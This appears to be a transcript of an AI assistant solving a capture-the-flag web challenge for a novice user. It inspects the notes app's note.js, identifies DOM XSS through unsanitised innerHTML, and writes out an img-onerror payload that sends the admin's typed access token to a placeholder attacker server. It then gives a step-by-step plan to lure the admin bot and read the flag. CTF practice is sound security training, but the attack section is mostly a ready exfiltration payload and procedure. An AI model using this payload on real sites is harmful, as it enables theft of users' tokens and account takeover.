Vulnerability Found: XSS via iframe src with unencoded fragment

The search functionality displays notes in iframes using:

frame.src = `/notes#${encodeURIComponent(item.id)}`;

However, the fragment identifier (#) is not properly sanitized in the note display. Combined with the admin bot that:

  1. Has the admin cookie
  2. Types the flagAccessToken into the #access input field when visiting the flag note
  3. Waits 20 seconds on the page

Attack vector:

  1. Create a malicious note with JavaScript that exfiltrates the access token
  2. Use the search page to embed the flag note in an iframe
  3. The CSP allows frame-src *, so cross-origin framing is possible
  4. Extract the access token from the admin's interaction with the page
  5. Use the token to access the flag

The key is exploiting the search page's iframe rendering combined with the admin bot's behavior of typing the access token.

can you explain this in simpler words and tell me what to do. i'm not an expert

Simple Explanation:

The website has an admin bot that visits pages. When the bot sees the flag note, it automatically types in a secret password. We need to steal that password.

The Plan:

  1. Create a trap note - Make a note with code that can steal information
  2. Trick the admin bot - Send the bot to a search page that shows your trap note in a frame
  3. Steal the password - When the bot types the password, your code captures it
  4. Get the flag - Use the stolen password to read the flag

What to do:

Let me check the note display page first to see how we can inject our stealing code:

Call sandbox_execute

Arguments
{"command": "cat /sandbox/public/note.js"}

Tool result
{"exitCode":0,"stdout":"const noteId = window.location.hash.slice(1);\nconst noteBody = document.getElementById("note-body");\nconst statusDiv = document.getElementById("status");\nconst accessInput = document.getElementById("access");\n\nconst loadNote = async () => {\n  try {\n    const accessToken = accessInput?.value.trim() || "";\n    const accessQuery = accessToken\n      ? ?access=${encodeURIComponent(accessToken)}\n      : "";\n    const response = await fetch(\n      /api/notes/${encodeURIComponent(noteId)}${accessQuery},\n    );\n    if (!response.ok) {\n      const data = await response.json().catch(() => ({}));\n      throw new Error(data.error || "Note not found.");\n    }\n    const data = await response.json();\n    noteBody.innerHTML =\n      data.note.length > 500 ? data.note.substring(0, 500) + "..." : data.note;\n  } catch (err) {\n    noteBody.innerHTML = "";\n    statusDiv.classList.add("error");\n    statusDiv.hidden = false;\n    statusDiv.textContent = err.message;\n  }\n};\n\naccessInput.addEventListener("input", () => {\n  loadNote();\n});\n\nloadNote();\n","stderr":""}

Even Simpler Steps:

The vulnerability is DOM XSS - the page puts the note content directly into HTML using innerHTML without sanitization.

Here's exactly what to do:

  1. Create a malicious note containing HTML/JavaScript that steals the access token
  2. Make the admin bot visit a search page that displays your note
  3. Your JavaScript runs and exfiltrates the access token
  4. Use the stolen token to get the flag

Example Payload:

<img src=x onerror="fetch('https://YOUR-SERVER/?token='+document.getElementById('access').value)">

When the admin types the access token, this code sends it to your server.

Full Attack:

  1. Create note with payload above
  2. Search for your note to get its ID
  3. Send admin to: http://TARGET/search?q=YOUR_NOTE_PREFIX
  4. Wait for admin to visit - they'll type the token, your code steals it
  5. Access flag at: http://TARGET/api/notes/FLAG_ID?access=STOLEN_TOKEN
